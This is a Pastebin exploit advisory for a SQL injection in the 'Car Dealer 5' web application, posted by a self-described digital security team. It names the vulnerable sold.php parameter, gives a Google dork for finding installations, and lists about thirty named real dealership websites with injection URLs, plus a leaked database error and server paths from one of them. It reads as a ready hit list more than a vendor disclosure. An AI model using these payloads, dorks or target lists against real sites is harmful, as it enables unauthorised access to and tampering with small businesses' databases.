KingSkrupellos

Car Dealer 5 SQL Injection

Apr 20th, 2020
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.92 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Car Dealer 5 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 21 April 2020
  7. # Vendor Homepage : cardealer5.co.uk
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : intext:Website powered by Car Dealer 5 inurl:/sold.php
  12. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  13. Special Elements used in an SQL Command ('SQL Injection') ]
  14. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  15. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  16. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  17. # Pastebin : pastebin.com/u/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. Website powered by Car Dealer 5 is prone to an SQL-injection vulnerability because
  24. it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  25. Exploiting this issue could allow an attacker to compromise the application, access or
  26. modify data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. ###################################################################
  33.  
  34. # SQL Vulnerable File :
  35. **********************
  36. /sold.php
  37.  
  38. # SQL Vulnerable Parameter :
  39. ***************************
  40. ?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection]
  41.  
  42. # SQL Injection Exploit :
  43. **********************
  44. /sold.php?start=[ID-NUMBER]&make=&model=&cat=&submit=[SQL Injection]
  45.  
  46. ###################################################################
  47.  
  48. # Example Vulnerable Sites :
  49. *************************
  50. Reverse IP results (185.215.36.69)
  51. There are 38 domains hosted on this server.
  52. Reverse IP results (185.215.36.139)
  53. There are 59 domains hosted on this server.
  54. Reverse IP results (185.215.36.76)
  55. There are 60 domains hosted on this server.
  56. Reverse IP results (185.215.37.102)
  57. There are 52 domains hosted on this server.
  58. Reverse IP results (185.215.36.227)
  59. There are 44 domains hosted on this server
  60. Reverse IP results (185.215.37.52)
  61. There are 41 domains hosted on this server.
  62. Reverse IP results(185.215.37.45)
  63. There are 52 domains hosted on this server.
  64. Reverse IP results (185.215.37.42)
  65. There are 66 domains hosted on this server.
  66. Reverse IP results (185.215.36.228)
  67. There are 31 domains hosted on this server.
  68.  
  69. [+] diltonmotors.com/sold.php?start=-5&make=&model=&cat=&submit=1%27
  70.  
  71. [+] bellfieldmotor.co.uk/results.php?start=-5&make=&model=&cat=&submit=1
  72.  
  73. [+] waterfrontmotors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  74.  
  75. [+] northsuffolkcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  76.  
  77. [+] bruche-motors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  78.  
  79. [+] jcautocare.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  80.  
  81. [+] ecocarscheshire.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  82.  
  83. [+] autobrookemotors.com/sold.php?start=-5&make=&model=&cat=&submit=1%27
  84.  
  85. [+] mgpcarsderby.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  86.  
  87. [+] muchbirchgarage.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  88.  
  89. [+] noylandrhodes.com/sold.php?start=-5&make=&model=&cat=&submit=1%27
  90.  
  91. [+] vanzntrux.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  92.  
  93. [+] easypeasycarcredit.com/sold.php?start=-5&make=&model=&cat=&submit=1%27
  94.  
  95. [+] brooklandsprestige.com/sold.php?start=-5&make=&model=&cat=&submit=1%27
  96.  
  97. [+] otterymotorservices.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  98.  
  99. [+] mckvans.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  100.  
  101. [+] premiercarshereford.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  102.  
  103. [+] kensingtoncarsales.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  104.  
  105. [+] hodgesgarage.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  106.  
  107. [+] kenttradecars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  108.  
  109. [+] kenillyscars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  110.  
  111. [+] mcb-autohouse.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  112.  
  113. [+] georgebeck.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  114.  
  115. [+] northsuffolkcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  116.  
  117. [+] parkviewvehicles.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  118.  
  119. [+] paigntonmotorcompany.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  120.  
  121. [+] ivanhamillcars.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  122.  
  123. [+] artistvalleymotors.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  124.  
  125. [+] dr-cc.co.uk/sold.php?start=-5&make=&model=&cat=&submit=1%27
  126.  
  127. [+] uniquetransporters.co.uk/sold/cars/?start=-5&make=&model=&cat=&submit=1%27
  128.  
  129. ###################################################################
  130.  
  131. # Example SQL Database Error :
  132. ****************************
  133. Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: Syntax error or access violation:
  134. 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version
  135. for the right syntax to use near '-5,15' at line 26' in /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php:198
  136. Stack trace: #0 /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php(198): PDO->prepare
  137. ('SELECT `_motor`...') #1 /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/sold.php(225): fetchAllVehicles
  138. (Array, NULL) #2 {main} thrown in /var/www/vhosts/mgpcarsderby.co.uk/httpdocs/functions_moin.php on line 198
  139.  
  140. ###################################################################
  141.  
  142. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  143.  
  144. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment